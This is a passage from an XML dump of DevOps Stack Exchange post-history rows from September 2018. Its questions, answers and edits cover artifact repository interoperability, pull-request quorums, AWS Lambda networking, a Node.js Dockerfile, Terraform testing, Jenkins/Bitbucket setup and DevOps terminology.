managers*.&#xD;&#xA;&#xD;&#xA;(3) Bob configures Nexus to be a proxy for Alice' Ivy repo (which is AFAIK was [not possible][3] as of 2014).&#xD;&#xA;&#xD;&#xA;What would you do?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://axonivy.github.io/project-build-plugin/release/7.1/index.html&#xD;&#xA;  [2]: http://ant.apache.org/ivy/history/latest-milestone/use/makepom.html&#xD;&#xA;  [3]: https://stackoverflow.com/questions/25910800/does-nexus-oss-support-proxying-of-ivy-repos" ContentLicense="CC BY-SA 4.0" />
  <row Id="15587" PostHistoryTypeId="6" PostId="4942" RevisionGUID="b49b9520-4427-4d8f-8744-076ff6603c8a" CreationDate="2018-09-11T05:50:03.917" UserId="707" Comment="added 519 characters in body; edited tags" Text="&lt;maven&gt;&lt;artifactory&gt;&lt;ant&gt;&lt;interoperability&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15588" PostHistoryTypeId="5" PostId="4942" RevisionGUID="3ec6fbef-f39d-4cff-b18d-bfb0e4ab3f4b" CreationDate="2018-09-11T05:59:16.987" UserId="707" Comment="added 13 characters in body" Text="Consider the following situation:&#xD;&#xA;&#xD;&#xA;    Alice -----              { Firewall }  Bob&#xD;&#xA;    |                                       |&#xD;&#xA;    Artifactory / Ivy repos  -  ---   --- Nexus / Maven Repos&#xD;&#xA;&#xD;&#xA;That is, Alice uses Ant and Ivy to publish her artefacts in an Artifactory in Ivy repos, while Bob sits behind a firewall and builds Maven artefacts storing them in Maven repos in Nexus.&#xD;&#xA;&#xD;&#xA;How can Alice provide her artefacts to Bob? (while both do not have to made large changes to their setup)&#xD;&#xA;&#xD;&#xA;So far, I have considered the following options and decided to ask you before trying them out:&#xD;&#xA;&#xD;&#xA;(1) Bob manages credentials to access Alice' artefacts in his build system and uses a [Maven plugin for Ivy][1] (which means configuration work for all relevant projects)&#xD;&#xA;&#xD;&#xA;(2) Alice uses [an Ant/Maven *task*][2] to generate POMs for *publishing/deployment* step and offers an additional Maven repo, because Artifactory can support it different repo formats. This for Bob's most convenience though Alice needs to do configuration work of all relevant projects and there might be also other Bobs in future using other *binary repository managers*.&#xD;&#xA;&#xD;&#xA;(3) Bob configures Nexus to be a proxy for Alice' Ivy repo (which is AFAIK was [not possible][3] as of 2014).&#xD;&#xA;&#xD;&#xA;What would you do?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://axonivy.github.io/project-build-plugin/release/7.1/index.html&#xD;&#xA;  [2]: http://ant.apache.org/ivy/history/latest-milestone/use/makepom.html&#xD;&#xA;  [3]: https://stackoverflow.com/questions/25910800/does-nexus-oss-support-proxying-of-ivy-repos" ContentLicense="CC BY-SA 4.0" />
  <row Id="15589" PostHistoryTypeId="2" PostId="4943" RevisionGUID="de69dba9-e7c1-4623-bbf4-fa0c762cf58f" CreationDate="2018-09-11T06:24:49.470" UserId="707" Text="Consider the following situation.&#xD;&#xA;&#xD;&#xA;Alice and Anna, Bob and Bart, and finally Eve and Evelyn work on same Git project in three different organizations.&#xD;&#xA;&#xD;&#xA;How can they configure a quorum for pull requests, which requires *at least 2 votes but from two different organizations*? &#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;* Votes from Alice and Anna - no quorum achieved possible as both votes come from the same organization;&#xD;&#xA;* Votes from Alice and Bob - quorum has been achieved because two different organizations.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15590" PostHistoryTypeId="1" PostId="4943" RevisionGUID="de69dba9-e7c1-4623-bbf4-fa0c762cf58f" CreationDate="2018-09-11T06:24:49.470" UserId="707" Text="How to configure a pull request quorum making an organizational constraint?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15591" PostHistoryTypeId="3" PostId="4943" RevisionGUID="de69dba9-e7c1-4623-bbf4-fa0c762cf58f" CreationDate="2018-09-11T06:24:49.470" UserId="707" Text="&lt;git&gt;&lt;organization&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15592" PostHistoryTypeId="2" PostId="4944" RevisionGUID="098e8a8f-fd1c-4e91-a824-75201fb706a8" CreationDate="2018-09-11T12:38:45.787" UserId="9693" Text="Is it possible to place an aws lambda in a public subnet and thus avoid paying for `NAT`?&#xD;&#xA;&#xD;&#xA;The [docs](https://docs.aws.amazon.com/lambda/latest/dg/vpc.html) state the following&#xD;&#xA;&gt; If your Lambda function needs Internet access, do not attach it to a public subnet or to a private subnet without Internet access. Instead, attach it only to private subnets with Internet access through a NAT instance or an Amazon VPC NAT gateway.&#xD;&#xA;&#xD;&#xA;But do not explain why we can not attach the lambda to a public subnet." ContentLicense="CC BY-SA 4.0" />
  <row Id="15593" PostHistoryTypeId="1" PostId="4944" RevisionGUID="098e8a8f-fd1c-4e91-a824-75201fb706a8" CreationDate="2018-09-11T12:38:45.787" UserId="9693" Text="Placing an AWS Lambda in a public subnet" ContentLicense="CC BY-SA 4.0" />
  <row Id="15594" PostHistoryTypeId="3" PostId="4944" RevisionGUID="098e8a8f-fd1c-4e91-a824-75201fb706a8" CreationDate="2018-09-11T12:38:45.787" UserId="9693" Text="&lt;amazon-web-services&gt;&lt;aws-lambda&gt;&lt;aws-vpc&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15595" PostHistoryTypeId="5" PostId="4943" RevisionGUID="151dc88c-dea4-4e4c-9b4e-860c479bc7d7" CreationDate="2018-09-11T13:29:26.170" UserId="707" Comment="added 29 characters in body" Text="Consider the following situation.&#xD;&#xA;&#xD;&#xA;Alice and Anna, Bob and Bart, and finally Eve and Evelyn work on same Git project in three different organizations.&#xD;&#xA;&#xD;&#xA;How can they configure a quorum for pull requests, which requires *at least 2 votes but from two different organizations*? &#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;* Votes from Alice and Anna - no quorum achieved possible as both votes come from the same organization;&#xD;&#xA;* Votes from Alice and Bob - quorum has been achieved because team members from two different organizations have voted.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15596" PostHistoryTypeId="4" PostId="4941" RevisionGUID="0175d13d-5618-4c5b-8d1a-c06c1cc5f34a" CreationDate="2018-09-11T13:55:09.493" UserId="9560" Comment="edited title" Text="Preinstall packages for a nodejs Docker Image according to package.json" ContentLicense="CC BY-SA 4.0" />
  <row Id="15597" PostHistoryTypeId="50" PostId="4489" RevisionGUID="b235c562-af51-4a3b-8de9-0e1fed7e8623" CreationDate="2018-09-11T16:02:00.543" UserId="-1" />
  <row Id="15599" PostHistoryTypeId="50" PostId="4502" RevisionGUID="05460cd4-0916-49f0-80a9-494ae59482e7" CreationDate="2018-09-11T19:00:13.223" UserId="-1" />
  <row Id="15600" PostHistoryTypeId="50" PostId="1088" RevisionGUID="38c5ea21-eeec-4e6e-a4cb-4e368fd3ee6c" CreationDate="2018-09-11T20:00:41.483" UserId="-1" />
  <row Id="15601" PostHistoryTypeId="4" PostId="4912" RevisionGUID="b37d9fed-db44-4004-a3ef-18a413dc41a4" CreationDate="2018-09-11T21:36:43.310" UserId="228" Comment="Fixed question title to fit the body of the question." Text="How to keep configuration files automatically during apt-get upgrade or install?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15606" PostHistoryTypeId="2" PostId="4946" RevisionGUID="c3a10ba9-3761-4349-b950-39f8c3449892" CreationDate="2018-09-11T23:37:05.893" UserId="9398" Text="Depend of life cycle of you app, because Node libraries and dependences change or end life to obsolet, so if you app constant change version to deploy, you can use [docker tag][1] for describe version or time when it build image, is a good practice, so Dockerfile shall copy package.json, and too look when you need change image source OS, by example change ubuntu linux to alpine , many dependences or how to install &quot;npm&quot; and dependences for node, a example:&#xD;&#xA;&#xD;&#xA;      FROM alpine:3.8&#xD;&#xA;    &#xD;&#xA;    # Update&#xD;&#xA;    RUN apk add --update nodejs nodejs-npm&#xD;&#xA;    &#xD;&#xA;    # Install app dependencies&#xD;&#xA;    COPY package.json /src/package.json&#xD;&#xA;    &#xD;&#xA;    RUN cd /src; npm install&#xD;&#xA;    &#xD;&#xA;    # Bundle app source&#xD;&#xA;    COPY . /src&#xD;&#xA;    &#xD;&#xA;    EXPOSE 5000&#xD;&#xA;    CMD [&quot;node&quot;,&quot;src/index.js&quot;]&#xD;&#xA;&#xD;&#xA;   well , hope it help you&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/reference/commandline/tag/" ContentLicense="CC BY-SA 4.0" />
  <row Id="15611" PostHistoryTypeId="5" PostId="863" RevisionGUID="1c360737-7e11-43e7-83ac-ce142dad4356" CreationDate="2018-09-12T13:03:09.243" UserId="9712" Comment="Typo and grammar" Text="If you had a [Terraform][1] configuration that had a moderate degree of complexity, how would you write tests around the configuration that could be executed as part of a Continuous Integration / Continuous Delivery pipeline?&#xD;&#xA;&#xD;&#xA;As an example, you may have a multi-cloud configuration that specifies the following desired state:&#xD;&#xA;&#xD;&#xA; - Azure Container Services to host Docker in Azure&#xD;&#xA; - Azure Blob Storage&#xD;&#xA; - SQL Azure&#xD;&#xA; - EC2 Container Service to host Docker in AWS&#xD;&#xA; - Amazon S3 Storage Service&#xD;&#xA; - Amazon RDS SQL Server database&#xD;&#xA;&#xD;&#xA;Potentially `terraform apply` could create the above from scratch, or transition from a partially deployed state to the above desired state.&#xD;&#xA;&#xD;&#xA;I am aware that Terraform splits its work into the **execution plan** stage and the **application** phase which actually makes changes to the target architecture.  Can this be used to write tests against the execution plan, if so are there frameworks to help write these?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/" ContentLicense="CC BY-SA 4.0" />
  <row Id="15612" PostHistoryTypeId="24" PostId="863" RevisionGUID="1c360737-7e11-43e7-83ac-ce142dad4356" CreationDate="2018-09-12T13:03:09.243" Comment="Proposed by 9712 approved by 40, 397 edit id of 781" ContentLicense="CC BY-SA 4.0" />
  <row Id="15614" PostHistoryTypeId="2" PostId="4948" RevisionGUID="e800c6fc-af2a-4b04-bb32-28c56862eecb" CreationDate="2018-09-12T14:56:35.427" UserId="9735" Text="It took me a while to understand this as well as I had experience with Bitbucket Server and not Bitbucket Cloud which is different.&#xD;&#xA;&#xD;&#xA;You do not need to enable the webhook for the Bitbucket Pull Request Builder plugin in Jenkins.&#xD;&#xA;&#xD;&#xA;Just ensure you set the RepositoryName and RepositoryOwner properly from the URL of your repo as such:&#xD;&#xA;&#xD;&#xA;https://bitbucket.org/RepositoryOwner/RepositoryName&#xD;&#xA;&#xD;&#xA;Once you have that set, a new PR or commit to branch of existing PR will trigger your job.&#xD;&#xA;&#xD;&#xA;P.S. There's a bug in the plugin where you can't use git for other repos such as workflow library or pipeline from scm. Git will try to use the same hash to checkout all repos which will fail the build.&#xD;&#xA;&#xD;&#xA;P.P.S. The webhook in Bitbucket cloud uses a POST with json data so that can't be used with the git plugin in Jenkins unless you don't care about the hash or branch&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15615" PostHistoryTypeId="2" PostId="4949" RevisionGUID="a9949b6f-9406-4575-8240-09322a2e262d" CreationDate="2018-09-12T16:04:59.990" UserId="9737" Text="See [Aggregating results of downstream is no test in Jenkins][1]. The JUNIT plugin has built-in features for aggregating test results.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/a/27051535/2852735" ContentLicense="CC BY-SA 4.0" />
  <row Id="15616" PostHistoryTypeId="5" PostId="4949" RevisionGUID="5f6c5d52-fd31-48c8-9cd5-1b68b9bfffce" CreationDate="2018-09-12T16:17:19.347" UserId="9737" Comment="added 229 characters in body" Text="The JUNIT plugin has a built-in publisher for aggregating test results called &quot;Aggregate Downstream Test Results&quot;. You need to make sure that the 'parent' and 'child' jobs are linked together with a downstream/upstream relation. This is usually done by archiving an artifact in the parent build and copying it to the children builds using the 'Archive Artifact' publisher and the 'Copy Artifact' buildstep respectively. " ContentLicense="CC BY-SA 4.0" />
  <row Id="15618" PostHistoryTypeId="2" PostId="4950" RevisionGUID="4f04e29a-7763-4d86-ad59-367b4a698057" CreationDate="2018-09-12T17:39:24.320" UserId="4030" Text="With the *SCM repository* as the main subject then'&#xD;&#xA;&#xD;&#xA;- **checkout** is getting changes **out** from the local or remote repository (into your local working directory).&#xD;&#xA;- **checkin** is putting changes back **into** the the local or remote repository (from your local working directory)." ContentLicense="CC BY-SA 4.0" />
  <row Id="15619" PostHistoryTypeId="2" PostId="4951" RevisionGUID="f337302d-92d5-4a57-a50c-e1c55bd5e7d7" CreationDate="2018-09-12T20:33:23.090" UserId="3125" Text="The solution here is to deploy the micro services using the blue/green deployment pattern." ContentLicense="CC BY-SA 4.0" />
  <row Id="15620" PostHistoryTypeId="2" PostId="4952" RevisionGUID="6ab81f24-96b1-462c-9ec1-7042505569e5" CreationDate="2018-09-12T20:42:11.107" UserId="228" Text="&gt;  - **Checkout** is an exclusive lock on modifying a branch of object in a repository.&#xD;&#xA;&gt;  - **Checkin** is a release of exclusive lock.&#xD;&#xA;&#xD;&#xA;There are two kinds of source control systems depending on what is the smallest unit of branching.&#xD;&#xA;&#xD;&#xA;1) **Per repository** branching (CVS, SVN, GIT, Perforce, ... etc)&#xD;&#xA;&#xD;&#xA;In products where you branch the entire repository, **checkout** will usually either create or enable modifications to local branch (copy) of the entire repository. In those products **checkin** is often unused and becomes a part of **commit** operation, which is at once **checkout** of remote branch, applying of local **patch** and **checkin** of remote branch in single operation. You do not **checkin** your local branch as it is permanently checked out.&#xD;&#xA;&#xD;&#xA;2) **Per object** branching (ClearCase, AccuRev, Oracle ADE)&#xD;&#xA;&#xD;&#xA;In products where you branch individual objects, like directories, files, etc. The concept of **checkout** and **checkin** applies per object per branch. You will lock the object to modify it with **checkout** and release it with **checkin**. In those products you often work on a private branch where locks do not hold anyone from working and at the time of merge of your local branch into a shared branch, the objects are also **checkedout** on shard branch (main, master, feature branch, etc) conflicts of merge are resolved and object is **checkedin** on the shared branch.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15621" PostHistoryTypeId="5" PostId="4952" RevisionGUID="ee7bbcbb-1d08-4c21-b417-a0b14d6c6c2d" CreationDate="2018-09-12T20:53:36.873" UserId="228" Comment="added 122 characters in body" Text="&gt;  - **Checkout** is an exclusive lock on modifying a branch of object in a repository.&#xD;&#xA;&gt;  - **Checkin** is a release of exclusive lock.&#xD;&#xA;&#xD;&#xA;There are two kinds of source control systems depending on what is the smallest unit of branching.&#xD;&#xA;&#xD;&#xA;1) **Per repository** branching (CVS, SVN, GIT, Perforce, ... etc)&#xD;&#xA;&#xD;&#xA;In products where you branch the entire repository, **checkout** will usually either create or enable modifications to local branch (copy) of the entire repository. In those products **checkin** is often unused and becomes a part of **commit** operation, which is at once **checkout** of remote branch, applying of local **patch** and **checkin** of remote branch in single operation. You do not **checkin** your local branch as it is permanently checked out. (Note: *In GIT you don't commit to remote branch, you push your local commit to it. Strictly syntactic difference.*)&#xD;&#xA;&#xD;&#xA;2) **Per object** branching (ClearCase, AccuRev, Oracle ADE)&#xD;&#xA;&#xD;&#xA;In products where you branch individual objects, like directories, files, etc. The concept of **checkout** and **checkin** applies per object per branch. You will lock the object to modify it with **checkout** and release it with **checkin**. In those products you often work on a private branch where locks do not hold anyone from working and at the time of merge of your local branch into a shared branch, the objects are also **checkedout** on shard branch (main, master, feature branch, etc) conflicts of merge are resolved and object is **checkedin** on the shared branch. This allows multiple people to &quot;commit&quot; at the same time to shared branch as long as they do not modify the same objects.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15622" PostHistoryTypeId="50" PostId="2341" RevisionGUID="d8e294d8-47c0-46ce-ae51-2672f45c96df" CreationDate="2018-09-12T21:01:02.763" UserId="-1" />
  <row Id="15623" PostHistoryTypeId="2" PostId="4953" RevisionGUID="6862bb08-5ce6-4685-a174-10c87c1dc9ae" CreationDate="2018-09-13T04:37:58.177" UserId="707" Text="Our DevOps terminology originates sometimes from original products as introduced by their authors; nevertheless there some standard actions described by ambigous terms. &#xD;&#xA;&#xD;&#xA;In mixed teams and large heterogeneous environemnts, it requires sometimes to agree on terms to undertstand what we actually do. Even now and then there are circulative talks (which are fine until people start really debating which term is &quot;correct&quot;).&#xD;&#xA;&#xD;&#xA;- publish: term specific to Ant/Ivy meaning putting an artefact into binary repository. Also, some people would say &quot;publish content updates to website&quot;.&#xD;&#xA;&#xD;&#xA;- deploy: while &quot;in the Maven world&quot; this word describes putting an artefact to binary repository afaik, more &quot;opsy&quot; people deploy their servers also without having Maven in place. &#xD;&#xA;&#xD;&#xA;How to deal with this (not opinion on options but reference to success)? An explorative talk on terms meaning is not always welcome in delivery oriented stressful environments; maybe there are already better terms around? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15624" PostHistoryTypeId="1" PostId="4953" RevisionGUID="6862bb08-5ce6-4685-a174-10c87c1dc9ae" CreationDate="2018-09-13T04:37:58.177" UserId="707" Text="Dealing with ambigousity of the terms publish vs. deploy" ContentLicense="CC BY-SA 4.0" />
  <row Id="15625" PostHistoryTypeId="3" PostId="4953" RevisionGUID="6862bb08-5ce6-4685-a174-10c87c1dc9ae" CreationDate="2018-09-13T04:37:58.177" UserId="707" Text="&lt;terminology&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15626" PostHistoryTypeId="6" PostId="4953" RevisionGUID="6da4dc29-9f11-4ca7-b592-a588ad9d114e" CreationDate="2018-09-13T05:17:06.553" UserId="707" Comment="edited tags" Text="&lt;terminology&gt;&lt;culture&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15627" PostHistoryTypeId="5" PostId="4953" RevisionGUID="6da4dc29-9f11-4ca7-b592-a588ad9d114e" CreationDate="2018-09-13T05:17:06.553" UserId="707" Comment="edited tags" Text="Our DevOps terminology originates sometimes from original products as introduced by their authors; nevertheless there some standard actions described by ambigous terms. &#xD;&#xA;&#xD;&#xA;In mixed teams and large heterogeneous environemnts, it requires sometimes to agree on terms to undertstand what we actually do. Even now and then there are circulative talks (which are fine until people start really debating which term is &quot;correct&quot;).&#xD;&#xA;&#xD;&#xA;- *publish*: term specific to Ant/Ivy meaning putting an artefact into binary repository. Also, some people would say &quot;publish content updates to website&quot;.&#xD;&#xA;&#xD;&#xA;- *deploy*: while &quot;in the Maven world&quot; this word describes putting an artefact to binary repository afaik, more &quot;opsy&quot; people deploy their servers also without having Maven in place. &#xD;&#xA;&#xD;&#xA;How to deal with this (not opinion on options but reference to success)? An explorative talk on terms meaning is not always welcome in delivery oriented stressful environments; maybe there are already better terms around? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15628" PostHistoryTypeId="5" PostId="4953" RevisionGUID="b0703b41-0b9f-45d6-bf5a-1451e26c24e2" CreationDate="2018-09-13T06:08:00.177" UserId="228" Comment="deleted 134 characters in body; edited title" Text="DevOps terminology sometimes originates in products as introduced by their authors as a result there are some standard actions described by ambigous terms. In mixed teams and large heterogeneous environments we need to agree on terms to undertstand what we actually do. &#xD;&#xA;&#xD;&#xA;- *publish*: term specific to Ant/Ivy meaning putting an artefact into binary repository. Also, some people would say &quot;publish content updates to website&quot;.&#xD;&#xA;&#xD;&#xA;- *deploy*: while &quot;in the Maven world&quot; this word describes putting an artefact to binary repository afaik, more &quot;opsy&quot; people deploy their servers also without having Maven in place. &#xD;&#xA;&#xD;&#xA;How to deal with this ambiguity (not through opinion or options but a reference to success)? An explorative talk on terms meaning is not always welcome in delivery oriented stressful environments; maybe there are already better terms around? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15629" PostHistoryTypeId="4" PostId="4953" RevisionGUID="b0703b41-0b9f-45d6-bf5a-1451e26c24e2" CreationDate="2018-09-13T06:08:00.177" UserId="228" Comment="deleted 134 characters in body; edited title" Text="Dealing with ambiguity of the terms publish vs. deploy" ContentLicense="CC BY-SA 4.0" />
  <row Id="15630" PostHistoryTypeId="5" PostId="4948" RevisionGUID="62b1332a-c9fb-4222-9987-f483f0b183e3" CreationDate="2018-09-13T06:14:07.293" UserId="739" Comment="the URL shouldn't be clickable since it is an example and italics" Text="It took me a while to understand this as well as I had experience with Bitbucket Server and not Bitbucket Cloud which is different.&#xD;&#xA;&#xD;&#xA;You do not need to enable the webhook for the Bitbucket Pull Request Builder plugin in Jenkins.&#xD;&#xA;&#xD;&#xA;Just ensure you set the *RepositoryName* and *RepositoryOwner* properly from the URL of your repo as such: `https://bitbucket.org/RepositoryOwner/RepositoryName`&#xD;&#xA;&#xD;&#xA;Once you have that set, a new PR or commit to branch of existing PR will trigger your job.&#xD;&#xA;&#xD;&#xA;P.S. There's a bug in the plugin where you can't use git for other repos such as workflow library or pipeline from scm. Git will try to use the same hash to checkout all repos which will fail the build.&#xD;&#xA;&#xD;&#xA;P.P.S. The webhook in Bitbucket cloud uses a POST with json data so that can't be used with the git plugin in Jenkins unless you don't care about the hash or branch&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15631" PostHistoryTypeId="24" PostId="4948" RevisionGUID="62b1332a-c9fb-4222-9987-f483f0b183e3" CreationDate="2018-09-13T06:14:07.293" Comment="Proposed by 739 approved by -1 edit id of 782" ContentLicense="CC BY-SA 4.0" />
  <row Id="15632" PostHistoryTypeId="5" PostId="4948" RevisionGUID="e68f1331-6c8c-4cfd-a4c0-59e240fea342" CreationDate="2018-09-13T06:14:07.293" UserId="40" Comment="added 1 character in body" Text="It took me a while to understand this as well as I had experience with Bitbucket Server and not Bitbucket Cloud which is different.&#xD;&#xA;&#xD;&#xA;You do not need to enable the webhook for the Bitbucket Pull Request Builder plugin in Jenkins.&#xD;&#xA;&#xD;&#xA;Just ensure you set the *RepositoryName* and *RepositoryOwner* properly from the URL of your repo as such: `https://bitbucket.org/RepositoryOwner/RepositoryName`&#xD;&#xA;&#xD;&#xA;Once you have that set, a new PR or commit to branch of existing PR will trigger your job.&#xD;&#xA;&#xD;&#xA;P.S. There's a bug in the plugin where you can't use git for other repos such as workflow library or pipeline from scm. Git will try to use the same hash to checkout all repos which will fail the build.&#xD;&#xA;&#xD;&#xA;P.P.S. The webhook in Bitbucket cloud uses a POST with Json data so that can't be used with the git plugin in Jenkins unless you don't care about the hash or branch.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15633" PostHistoryTypeId="5" PostId="4953" RevisionGUID="7756be49-6835-4642-9204-23141ca3ceb4" CreationDate="2018-09-13T06:19:35.957" UserId="707" Comment="added 6 characters in body" Text="DevOps terminology sometimes originates in products as introduced by their authors. &#xD;&#xA;&#xD;&#xA;As a result, there are some standard actions described by ambigous terms. In mixed teams and large heterogeneous environments we need to agree on terms to undertstand what we actually do. &#xD;&#xA;&#xD;&#xA;- *publish*: term specific to Ant/Ivy meaning putting an artefact into binary repository. Also, some people would say &quot;publish content updates to website&quot;.&#xD;&#xA;&#xD;&#xA;- *deploy*: while &quot;in the Maven world&quot; this word describes putting an artefact to binary repository afaik, more &quot;opsy&quot; people deploy their servers also without having Maven in place. &#xD;&#xA;&#xD;&#xA;How to deal with this ambiguity (ideally, please refer to &quot;success stories&quot;)? An explorative talk on terms meaning is not always welcome in delivery oriented stressful environments; maybe there are already better terms around? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15634" PostHistoryTypeId="2" PostId="4954" RevisionGUID="de5feb23-2f9e-4bab-842d-3e7f0448bf41" CreationDate="2018-09-13T06:24:50.910" UserId="228" Text="The terms are actually quite well defined and some authors are simply making a mess of things by using a term like 'publish' for deployment, in cases where publishing a website for example constitutes for their own process also a deployment, as there is no extra deployment step after publishing. Sometimes they use word publishing both for uploading and publishing together as all of their artifacts are public. That creates unnecessary confusion. Just to make it clear, here are the definitions:&#xD;&#xA;&#xD;&#xA;Environment Definitions:&#xD;&#xA;&gt; - **build environment** - Environment setup for build process.&#xD;&#xA;&gt; - **runtime environment** - Environment setup for execution process (test/staging/production).&#xD;&#xA;&#xD;&#xA;Artifact Lifecycle Stages:&#xD;&#xA;&gt; - **building** - process of creating an artifact in build environment&#xD;&#xA;&gt; - **uploading** - moving artifact from build environment to repository.&#xD;&#xA;&gt; - **publishing** - making artifact in repository public.&#xD;&#xA;&gt; - **downloading** - moving artifact from repository to runtime environment&#xD;&#xA;&gt; - **installing** - applying artifact to runtime environment&#xD;&#xA;&gt; - **deploying** - using artifact in runtime environment&#xD;&#xA;&gt; - **delivery** - making artifact (effects) available to customer&#xD;&#xA;&#xD;&#xA;Note: *People often use any of those terms to mean one or more of the previous terms together.*" ContentLicense="CC BY-SA 4.0" />
  <row Id="15635" PostHistoryTypeId="5" PostId="4953" RevisionGUID="307a8ca8-f51b-44be-9c9c-fa947237d7c0" CreationDate="2018-09-13T06:35:08.917" UserId="707" Comment="added 49 characters in body" Text="DevOps terminology sometimes originates in products as introduced by their authors. &#xD;&#xA;&#xD;&#xA;As a result, there are some standard actions described by ambigous terms. In mixed teams and large heterogeneous environments we need to agree on terms to undertstand what we actually do. &#xD;&#xA;&#xD;&#xA;- *publish*: term specific to Ant/Ivy meaning putting an artefact into binary repository. Also, some people would say &quot;publish content updates to website&quot;.&#xD;&#xA;&#xD;&#xA;- *deploy*: while &quot;in the Maven world&quot; this word describes putting an artefact to binary repository afaik, more &quot;opsy&quot; people deploy their servers also without having Maven in place. &#xD;&#xA;&#xD;&#xA;How to deal with this ambiguity (ideally, please refer to &quot;success stories&quot;)? An explorative talk on terms meaning is not always welcome in delivery oriented stressful environments; maybe there are already better terms around? &#xD;&#xA;&#xD;&#xA;For terms definitions, please refer to sources.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15636" PostHistoryTypeId="2" PostId="4955" RevisionGUID="978b14df-89e3-4eb5-84e9-2bdba74780b5" CreationDate="2018-09-13T06:51:51.110" UserId="9753" Text="I want to use one server to host multiple docker-containers. I want to give another user a possibility to spin new docker-containers, but I do not want to give him access to all other containers, which I started, since they may contain sensitive data.&#xD;&#xA;&#xD;&#xA;Is there a way to create a secure configuration which doesn't require creating virtual machine?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15637" PostHistoryTypeId="1" PostId="4955" RevisionGUID="978b14df-89e3-4eb5-84e9-2bdba74780b5" CreationDate="2018-09-13T06:51:51.110" UserId="9753" Text="Do not show all docker containers to a particular user" ContentLicense="CC BY-SA 4.0" />
  <row Id="15638" PostHistoryTypeId="3" PostId="4955" RevisionGUID="978b14df-89e3-4eb5-84e9-2bdba74780b5" CreationDate="2018-09-13T06:51:51.110" UserId="9753" Text="&lt;docker&gt;&lt;virtualization&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15646" PostHistoryTypeId="2" PostId="4959" RevisionGUID="3ce4b94f-8b8b-47df-94bb-1d1074a9bdc1" CreationDate="2018-09-13T07:51:46.023" UserId="707" Text="Hi and welcome to DevOps SE!&#xD;&#xA;&#xD;&#xA;Looks like you look for an authorization pligin for the Docker engine. &#xD;&#xA;&#xD;&#xA;Please check the following:&#xD;&#xA;&#xD;&#xA;https://docs.docker.com/engine/extend/plugins_authorization/" ContentLicense="CC BY-SA 4.0" />
  <row Id="15648" PostHistoryTypeId="5" PostId="4955" RevisionGUID="1a55d5c9-af64-4930-955b-d61f177925c7" CreationDate="2018-09-13T07:54:26.667" UserId="9753" Comment="added 2 characters in body" Text="I want to use one server to host multiple docker-containers. I want to give another user a possibility to manage new docker-containers, but I do not want to give him access to all other containers, which I started, since they may contain sensitive data.&#xD;&#xA;&#xD;&#xA;Is there a way to create a secure configuration which doesn't require creating virtual machine?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15649" PostHistoryTypeId="5" PostId="4959" RevisionGUID="4944bc60-98f8-4b37-b8df-b109d769af6f" CreationDate="2018-09-13T08:07:13.553" UserId="707" Comment="added 123 characters in body" Text="Hi and welcome to DevOps SE!&#xD;&#xA;&#xD;&#xA;Looks like you look for a *Docker Authorization Plugin* - ***AuthZPlugin*** for the Docker engine. &#xD;&#xA;&#xD;&#xA;Please check the following:&#xD;&#xA;&#xD;&#xA;https://docs.docker.com/engine/extend/plugins_authorization/&#xD;&#xA;&#xD;&#xA;Though this functionality is not part of Docker CE, there are open source plugins available on GitHub. " ContentLicense="CC BY-SA 4.0" />
